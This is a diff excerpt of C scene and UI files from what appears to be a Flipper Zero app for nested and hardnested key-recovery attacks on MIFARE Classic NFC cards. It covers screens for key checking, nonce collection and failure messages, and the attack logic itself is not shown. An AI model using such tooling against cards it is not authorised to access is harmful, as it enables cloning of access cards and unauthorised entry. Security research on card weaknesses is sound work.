+    }
+
+    view_dispatcher_send_custom_event(mifare_nested->view_dispatcher, event);
+
+    return true;
+}
+
+void mifare_nested_scene_check_keys_on_enter(void* context) {
+    MifareNested* mifare_nested = context;
+    CheckKeysState* plugin_state = mifare_nested->keys_state;
+
+    mifare_nested_worker_start(
+        mifare_nested->worker,
+        MifareNestedWorkerStateValidating,
+        &mifare_nested->nfc_dev->dev_data,
+        mifare_nested_check_keys_worker_callback,
+        mifare_nested);
+
+    mifare_nested_blink_start(mifare_nested);
+
+    with_view_model(
+        plugin_state->view,
+        CheckKeysViewModel * model,
+        {
+            model->lost_tag = false;
+            model->processing_keys = false;
+            model->keys_count = 0;
+            model->keys_checked = 0;
+            model->keys_found = 0;
+        },
+        false);
+
+    view_dispatcher_switch_to_view(mifare_nested->view_dispatcher, MifareNestedViewCheckKeys);
+}
+
+bool mifare_nested_scene_check_keys_on_event(void* context, SceneManagerEvent event) {
+    MifareNested* mifare_nested = context;
+
+    bool consumed = false;
+    if(event.type == SceneManagerEventTypeCustom) {
+        if(event.event == GuiButtonTypeCenter) {
+            scene_manager_search_and_switch_to_previous_scene(mifare_nested->scene_manager, 0);
+            consumed = true;
+        } else if(event.event == MifareNestedWorkerEventKeysFound) {
+            scene_manager_next_scene(mifare_nested->scene_manager, MifareNestedSceneAddedKeys);
+            consumed = true;
+        } else if(event.event == MifareNestedWorkerEventNeedKeyRecovery) {
+            scene_manager_next_scene(
+                mifare_nested->scene_manager, MifareNestedSceneNeedKeyRecovery);
+            consumed = true;
+        } else if(event.event == MifareNestedWorkerEventNeedCollection) {
+            scene_manager_next_scene(
+                mifare_nested->scene_manager, MifareNestedSceneNeedCollection);
+            consumed = true;
+        } else if(
+            event.event == MifareNestedWorkerEventKeyChecked ||
+            event.event == MifareNestedWorkerEventNoTagDetected ||
+            event.event == MifareNestedWorkerEventProcessingKeys) {
+            consumed = true;
+        }
+    }
+
+    return consumed;
+}
+
+void mifare_nested_scene_check_keys_on_exit(void* context) {
+    MifareNested* mifare_nested = context;
+    mifare_nested_worker_stop(mifare_nested->worker);
+
+    // Clear view
+    mifare_nested_blink_stop(mifare_nested);
+    popup_reset(mifare_nested->popup);
+    widget_reset(mifare_nested->widget);
+}

+ 161 - 0
mifare_nested/scenes/mifare_nested_scene_collecting.c

@@ -0,0 +1,161 @@
+#include "../mifare_nested_i.h"
+
+void mifare_nested_scene_collecting_widget_callback(
+    GuiButtonType result,
+    InputType type,
+    void* context) {
+    MifareNested* mifare_nested = context;
+    if(type == InputTypeShort) {
+        view_dispatcher_send_custom_event(mifare_nested->view_dispatcher, result);
+    }
+}
+
+bool mifare_nested_collecting_worker_callback(MifareNestedWorkerEvent event, void* context) {
+    MifareNested* mifare_nested = context;
+    NestedState* plugin_state = mifare_nested->nested_state;
+
+    if(event == MifareNestedWorkerEventNewNonce) {
+        mifare_nested_blink_nonce_collection_start(mifare_nested);
+
+        uint8_t collected = 0;
+        uint8_t skip = 0;
+        NonceList_t* nonces = mifare_nested->nonces;
+        for(uint8_t tries = 0; tries < nonces->tries; tries++) {
+            for(uint8_t sector = 0; sector < nonces->sector_count; sector++) {
+                for(uint8_t keyType = 0; keyType < 2; keyType++) {
+                    Nonces* info = nonces->nonces[sector][keyType][tries];
+                    if(info->from_start) {
+                        skip++;
+                    } else if(info->collected) {
+                        collected++;
+                    }
+                }
+            }
+        }
+
+        with_view_model(
+            plugin_state->view,
+            NestedAttackViewModel * model,
+            {
+                model->calibrating = false;
+                model->lost_tag = false;
+                model->nonces_collected = collected;
+                model->keys_count = (nonces->sector_count * nonces->tries * 2) - skip;
+            },
+            true);
+    } else if(event == MifareNestedWorkerEventNoTagDetected) {
+        mifare_nested_blink_start(mifare_nested);
+
+        with_view_model(
+            plugin_state->view, NestedAttackViewModel * model, { model->lost_tag = true; }, true);
+    } else if(event == MifareNestedWorkerEventCalibrating) {
+        mifare_nested_blink_calibration_start(mifare_nested);
+
+        with_view_model(
+            plugin_state->view,
+            NestedAttackViewModel * model,
+            {
+                model->calibrating = true;
+                model->lost_tag = false;
+                model->need_prediction = false;
+                model->hardnested = false;
+            },
+            true);
+    } else if(event == MifareNestedWorkerEventNeedPrediction) {
+        with_view_model(
+            plugin_state->view,
+            NestedAttackViewModel * model,
+            { model->need_prediction = true; },
+            true);
+    } else if(event == MifareNestedWorkerEventHardnestedStatesFound) {
+        NonceList_t* nonces = mifare_nested->nonces;
+        with_view_model(
+            plugin_state->view,
+            NestedAttackViewModel * model,
+            {
+                model->calibrating = false;
+                model->lost_tag = false;
+                model->hardnested = true;
+                model->hardnested_states = nonces->hardnested_states;
+            },
+            true);
+    }
+
+    view_dispatcher_send_custom_event(mifare_nested->view_dispatcher, event);
+
+    return true;
+}
+
+void mifare_nested_scene_collecting_on_enter(void* context) {
+    MifareNested* mifare_nested = context;
+    NestedState* nested = mifare_nested->nested_state;
+
+    mifare_nested_worker_start(
+        mifare_nested->worker,
+        mifare_nested->collecting_type,
+        &mifare_nested->nfc_dev->dev_data,
+        mifare_nested_collecting_worker_callback,
+        mifare_nested);
+
+    mifare_nested_blink_start(mifare_nested);
+
+    with_view_model(
+        nested->view,
+        NestedAttackViewModel * model,
+        {
+            model->lost_tag = false;
+            model->nonces_collected = 0;
+        },
+        false);
+
+    view_dispatcher_switch_to_view(mifare_nested->view_dispatcher, MifareNestedViewCollecting);
+}
+
+bool mifare_nested_scene_collecting_on_event(void* context, SceneManagerEvent event) {
+    MifareNested* mifare_nested = context;
+
+    bool consumed = false;
+    if(event.type == SceneManagerEventTypeCustom) {
+        if(event.event == GuiButtonTypeCenter) {
+            scene_manager_search_and_switch_to_previous_scene(mifare_nested->scene_manager, 0);
+            consumed = true;
+        } else if(event.event == MifareNestedWorkerEventNoncesCollected) {
+            scene_manager_next_scene(
+                mifare_nested->scene_manager, MifareNestedSceneNoncesCollected);
+            consumed = true;
+        } else if(event.event == MifareNestedWorkerEventNoNoncesCollected) {
+            scene_manager_next_scene(
+                mifare_nested->scene_manager, MifareNestedSceneNoNoncesCollected);
+            consumed = true;
+        } else if(event.event == MifareNestedWorkerEventAttackFailed) {
+            scene_manager_next_scene(mifare_nested->scene_manager, MifareNestedSceneFailed);
+            consumed = true;
+        } else if(event.event == MifareNestedWorkerEventNeedKey) {
+            scene_manager_next_scene(mifare_nested->scene_manager, MifareNestedSceneNoKeys);
+            consumed = true;
+        } else if(event.event == MifareNestedWorkerEventStaticEncryptedNonce) {
+            scene_manager_next_scene(
+                mifare_nested->scene_manager, MifareNestedSceneStaticEncryptedNonce);
+            consumed = true;
+        } else if(
+            event.event == MifareNestedWorkerEventNewNonce ||
+            event.event == MifareNestedWorkerEventNoTagDetected ||
+            event.event == MifareNestedWorkerEventCalibrating ||
+            event.event == MifareNestedWorkerEventNeedPrediction ||
+            event.event == MifareNestedWorkerEventHardnestedStatesFound) {
+            consumed = true;
+        }
+    }
+
+    return consumed;
+}
+
+void mifare_nested_scene_collecting_on_exit(void* context) {
+    MifareNested* mifare_nested = context;
+    mifare_nested_worker_stop(mifare_nested->worker);
+
+    // Clear view
+    mifare_nested_blink_stop(mifare_nested);
+    popup_reset(mifare_nested->popup);
+    widget_reset(mifare_nested->widget);
+}

+ 14 - 0
mifare_nested/scenes/mifare_nested_scene_config.h

@@ -0,0 +1,14 @@
+ADD_SCENE(mifare_nested, start, Start)
+ADD_SCENE(mifare_nested, check, Check)
+ADD_SCENE(mifare_nested, nonces_collected, NoncesCollected)
+ADD_SCENE(mifare_nested, collecting, Collecting)
+ADD_SCENE(mifare_nested, no_keys, NoKeys)
+ADD_SCENE(mifare_nested, check_keys, CheckKeys)
+ADD_SCENE(mifare_nested, added_keys, AddedKeys)
+ADD_SCENE(mifare_nested, failed, Failed)
+ADD_SCENE(mifare_nested, about, About)
+ADD_SCENE(mifare_nested, static_encrypted_nonce, StaticEncryptedNonce)
+ADD_SCENE(mifare_nested, need_key_recovery, NeedKeyRecovery)
+ADD_SCENE(mifare_nested, need_collection, NeedCollection)
+ADD_SCENE(mifare_nested, settings, Settings)
+ADD_SCENE(mifare_nested, no_nonces_collected, NoNoncesCollected)

+ 59 - 0
mifare_nested/scenes/mifare_nested_scene_failed.c

@@ -0,0 +1,59 @@
+#include "../mifare_nested_i.h"
+
+void mifare_nested_scene_failed_widget_callback(
+    GuiButtonType result,
+    InputType type,
+    void* context) {
+    MifareNested* mifare_nested = context;
+    if(type == InputTypeShort) {
+        view_dispatcher_send_custom_event(mifare_nested->view_dispatcher, result);
+    }
+}
+
+void mifare_nested_scene_failed_on_enter(void* context) {
+    MifareNested* mifare_nested = context;
+    Widget* widget = mifare_nested->widget;
+
+    notification_message(mifare_nested->notifications, &sequence_error);
+
+    widget_add_icon_element(widget, 73, 13, &I_DolphinCry);
+    widget_add_string_element(
+        widget, 0, 0, AlignLeft, AlignTop, FontPrimary, "Failed to preform attack");
+    widget_add_string_element(widget, 0, 12, AlignLeft, AlignTop, FontSecondary, "Try running");
+    widget_add_string_element(
+        widget, 0, 22, AlignLeft, AlignTop, FontSecondary, "\"Nested attack\"");
+    widget_add_string_element(widget, 0, 32, AlignLeft, AlignTop, FontSecondary, "again or check");
+    widget_add_string_element(widget, 0, 42, AlignLeft, AlignTop, FontSecondary, "logs");
+    widget_add_button_element(
+        widget,
+        GuiButtonTypeLeft,
+        "Back",
+        mifare_nested_scene_failed_widget_callback,
+        mifare_nested);
+
+    // Setup and start worker
+    view_dispatcher_switch_to_view(mifare_nested->view_dispatcher, MifareNestedViewWidget);
+}
+
+bool mifare_nested_scene_failed_on_event(void* context, SceneManagerEvent event) {
+    MifareNested* mifare_nested = context;
+    bool consumed = false;
+
+    if(event.type == SceneManagerEventTypeCustom) {
+        if(event.event == GuiButtonTypeCenter || event.event == GuiButtonTypeLeft) {
+            scene_manager_search_and_switch_to_previous_scene(mifare_nested->scene_manager, 0);
+            consumed = true;
+        }
+    } else if(event.type == SceneManagerEventTypeBack) {
+        scene_manager_search_and_switch_to_previous_scene(mifare_nested->scene_manager, 0);
+        consumed = true;
+    }
+
+    return consumed;
+}
+
+void mifare_nested_scene_failed_on_exit(void* context) {
+    MifareNested* mifare_nested = context;
+
+    widget_reset(mifare_nested->widget);
+}

+ 56 - 0
mifare_nested/scenes/mifare_nested_scene_need_collection.c

@@ -0,0 +1,56 @@
+#include "../mifare_nested_i.h"
+
+void mifare_nested_scene_need_collection_widget_callback(
+    GuiButtonType result,
+    InputType type,
+    void* context) {
+    MifareNested* mifare_nested = context;
+    if(type == InputTypeShort) {
+        view_dispatcher_send_custom_event(mifare_nested->view_dispatcher, result);
+    }
+}
+
+void mifare_nested_scene_need_collection_on_enter(void* context) {
+    MifareNested* mifare_nested = context;
+    Widget* widget = mifare_nested->widget;
+
+    notification_message(mifare_nested->notifications, &sequence_error);
+
+    widget_add_icon_element(widget, 73, 13, &I_DolphinCry);
+    widget_add_string_element(
+        widget, 0, 0, AlignLeft, AlignTop, FontPrimary, "Missing collected nonces");
+    widget_add_string_element(
+        widget, 0, 12, AlignLeft, AlignTop, FontSecondary, "Run \"Nested attack\"");
+    widget_add_button_element(
+        widget,
+        GuiButtonTypeLeft,
+        "Back",
+        mifare_nested_scene_need_collection_widget_callback,
+        mifare_nested);
+
+    // Setup and start worker
+    view_dispatcher_switch_to_view(mifare_nested->view_dispatcher, MifareNestedViewWidget);
+}
+
+bool mifare_nested_scene_need_collection_on_event(void* context, SceneManagerEvent event) {
+    MifareNested* mifare_nested = context;
+    bool consumed = false;
+
+    if(event.type == SceneManagerEventTypeCustom) {
+        if(event.event == GuiButtonTypeCenter || event.event == GuiButtonTypeLeft) {
+            scene_manager_search_and_switch_to_previous_scene(mifare_nested->scene_manager, 0);
+            consumed = true;
+        }
+    } else if(event.type == SceneManagerEventTypeBack) {
+        scene_manager_search_and_switch_to_previous_scene(mifare_nested->scene_manager, 0);
+        consumed = true;
+    }
+
+    return consumed;
+}
+
+void mifare_nested_scene_need_collection_on_exit(void* context) {
+    MifareNested* mifare_nested = context;
+
+    widget_reset(mifare_nested->widget);
+}

+ 59 - 0
mifare_nested/scenes/mifare_nested_scene_need_key_recovery.c

@@ -0,0 +1,59 @@
+#include "../mifare_nested_i.h"
+
+void mifare_nested_scene_need_key_recovery_widget_callback(
+    GuiButtonType result,
+    InputType type,
+    void* context) {
+    MifareNested* mifare_nested = context;
+    if(type == InputTypeShort) {
+        view_dispatcher_send_custom_event(mifare_nested->view_dispatcher, result);
+    }
+}
+
+void mifare_nested_scene_need_key_recovery_on_enter(void* context) {
+    MifareNested* mifare_nested = context;
+    Widget* widget = mifare_nested->widget;
+
+    notification_message(mifare_nested->notifications, &sequence_error);
+
+    widget_add_icon_element(widget, 74, 13, &I_DolphinCry);
+    widget_add_string_element(
+        widget, 0, 0, AlignLeft, AlignTop, FontPrimary, "Missing found keys");
+    widget_add_string_element(
+        widget, 0, 12, AlignLeft, AlignTop, FontSecondary, "First you need to");
+    widget_add_string_element(widget, 0, 22, AlignLeft, AlignTop, FontSecondary, "recover keys");
+    widget_add_string_element(widget, 0, 32, AlignLeft, AlignTop, FontSecondary, "Read \"About\"");
+    widget_add_string_element(widget, 0, 42, AlignLeft, AlignTop, FontSecondary, "for more info");
+    widget_add_button_element(
+        widget,
+        GuiButtonTypeLeft,
+        "Back",
+        mifare_nested_scene_need_key_recovery_widget_callback,
+        mifare_nested);
+
+    // Setup and start worker
+    view_dispatcher_switch_to_view(mifare_nested->view_dispatcher, MifareNestedViewWidget);
+}
+
+bool mifare_nested_scene_need_key_recovery_on_event(void* context, SceneManagerEvent event) {
+    MifareNested* mifare_nested = context;
+    bool consumed = false;
+
+    if(event.type == SceneManagerEventTypeCustom) {
+        if(event.event == GuiButtonTypeCenter || event.event == GuiButtonTypeLeft) {
+            scene_manager_search_and_switch_to_previous_scene(mifare_nested->scene_manager, 0);
+            consumed = true;
+        }
+    } else if(event.type == SceneManagerEventTypeBack) {
+        scene_manager_search_and_switch_to_previous_scene(mifare_nested->scene_manager, 0);
+        consumed = true;
+    }
+
+    return consumed;
+}
+
+void mifare_nested_scene_need_key_recovery_on_exit(void* context) {
+    MifareNested* mifare_nested = context;
+
+    widget_reset(mifare_nested->widget);
+}

+ 61 - 0
mifare_nested/scenes/mifare_nested_scene_no_keys.c

@@ -0,0 +1,61 @@
+#include "../mifare_nested_i.h"
+
+void mifare_nested_scene_no_keys_widget_callback(
+    GuiButtonType result,
+    InputType type,
+    void* context) {
+    MifareNested* mifare_nested = context;
+    if(type == InputTypeShort) {
+        view_dispatcher_send_custom_event(mifare_nested->view_dispatcher, result);
+    }
+}
+
+void mifare_nested_scene_no_keys_on_enter(void* context) {
+    MifareNested* mifare_nested = context;
+    Widget* widget = mifare_nested->widget;
+
+    notification_message(mifare_nested->notifications, &sequence_success);
+
+    widget_add_icon_element(widget, 73, 13, &I_DolphinCry);
+    widget_add_string_element(widget, 0, 0, AlignLeft, AlignTop, FontPrimary, "No keys found");
+    widget_add_string_element(
+        widget, 0, 12, AlignLeft, AlignTop, FontSecondary, "Scan tag and find at");
+    widget_add_string_element(
+        widget, 0, 22, AlignLeft, AlignTop, FontSecondary, "least one key to");
+    widget_add_string_element(
+        widget, 0, 32, AlignLeft, AlignTop, FontSecondary, "start (save dump");
+    widget_add_string_element(
+        widget, 0, 42, AlignLeft, AlignTop, FontSecondary, "after scanning!)");
+    widget_add_button_element(
+        widget,
+        GuiButtonTypeLeft,
+        "Back",
+        mifare_nested_scene_no_keys_widget_callback,
+        mifare_nested);
+
+    // Setup and start worker
+    view_dispatcher_switch_to_view(mifare_nested->view_dispatcher, MifareNestedViewWidget);
+}
+
+bool mifare_nested_scene_no_keys_on_event(void* context, SceneManagerEvent event) {
+    MifareNested* mifare_nested = context;
+    bool consumed = false;
+
+    if(event.type == SceneManagerEventTypeCustom) {
+        if(event.event == GuiButtonTypeCenter || event.event == GuiButtonTypeLeft) {
+            scene_manager_search_and_switch_to_previous_scene(mifare_nested->scene_manager, 0);
+            consumed = true;
+        }
+    } else if(event.type == SceneManagerEventTypeBack) {
+        scene_manager_search_and_switch_to_previous_scene(mifare_nested->scene_manager, 0);
+        consumed = true;
+    }
+
+    return consumed;
+}
+
+void mifare_nested_scene_no_keys_on_exit(void* context) {
+    MifareNested* mifare_nested = context;
+
+    widget_reset(mifare_nested->widget);
+}

+ 94 - 0
mifare_nested/scenes/mifare_nested_scene_no_nonces_collected.c

@@ -0,0 +1,94 @@
+#include "../mifare_nested_i.h"
+
+void mifare_nested_scene_no_nonces_collected_widget_callback(
+    GuiButtonType result,
+    InputType type,
+    void* context) {
+    MifareNested* mifare_nested = context;
+    if(type == InputTypeShort) {
+        view_dispatcher_send_custom_event(mifare_nested->view_dispatcher, result);
+    }
+}
+
+void mifare_nested_scene_no_nonces_collected_on_enter(void* context) {
+    MifareNested* mifare_nested = context;
+    Widget* widget = mifare_nested->widget;
+    SaveNoncesResult_t* save_state = mifare_nested->save_state;
+
+    notification_message(mifare_nested->notifications, &sequence_error);
+
+    widget_add_icon_element(widget, 73, 12, &I_DolphinCry);
+    widget_add_string_element(
+        widget, 0, 0, AlignLeft, AlignTop, FontPrimary, "No nonces collected");
+
+    uint32_t index = 12;
+
+    if(save_state->skipped) {
+        char append_skipped[8] = {'s', 'e', 'c', 't', 'o', 'r', ' ', '\0'};
+        if(save_state->skipped != 1) {
+            append_skipped[6] = 's';
+        }
+
+        char draw_str[32] = {};
+        snprintf(
+            draw_str, sizeof(draw_str), "Skipped: %lu %s", save_state->skipped, append_skipped);
+
+        widget_add_string_element(widget, 0, index, AlignLeft, AlignTop, FontSecondary, draw_str);
+
+        widget_add_string_element(
+            widget, 0, index + 10, AlignLeft, AlignTop, FontSecondary, "(already has keys)");
+
+        index += 20;
+    }
+
+    if(save_state->invalid) {
+        char append_invalid[8] = {'s', 'e', 'c', 't', 'o', 'r', ' ', '\0'};
+        if(save_state->invalid != 1) {
+            append_invalid[6] = 's';
+        }
+
+        char draw_str[32] = {};
+        snprintf(
+            draw_str, sizeof(draw_str), "Invalid: %lu %s", save_state->invalid, append_invalid);
+
+        widget_add_string_element(widget, 0, index, AlignLeft, AlignTop, FontSecondary, draw_str);
+
+        widget_add_string_element(
+            widget, 0, index + 10, AlignLeft, AlignTop, FontSecondary, "(can't auth)");
+    }
+
+    free(save_state);
+
+    widget_add_button_element(
+        widget,
+        GuiButtonTypeLeft,
+        "Back",
+        mifare_nested_scene_no_nonces_collected_widget_callback,
+        mifare_nested);
+
+    // Setup and start worker
+    view_dispatcher_switch_to_view(mifare_nested->view_dispatcher, MifareNestedViewWidget);
+}
+
+bool mifare_nested_scene_no_nonces_collected_on_event(void* context, SceneManagerEvent event) {
+    MifareNested* mifare_nested = context;
+    bool consumed = false;
+
+    if(event.type == SceneManagerEventTypeCustom) {
+        if(event.event == GuiButtonTypeCenter || event.event == GuiButtonTypeLeft) {
+            scene_manager_search_and_switch_to_previous_scene(mifare_nested->scene_manager, 0);
+            consumed = true;
+        }
+    } else if(event.type == SceneManagerEventTypeBack) {
+        scene_manager_search_and_switch_to_previous_scene(mifare_nested->scene_manager, 0);
+        consumed = true;
+    }
+
+    return consumed;
+}
+
+void mifare_nested_scene_no_nonces_collected_on_exit(void* context) {
+    MifareNested* mifare_nested = context;
+
+    widget_reset(mifare_nested->widget);
+}

Niektóre pliki nie zostały wyświetlone z powodu dużej ilości zmienionych plików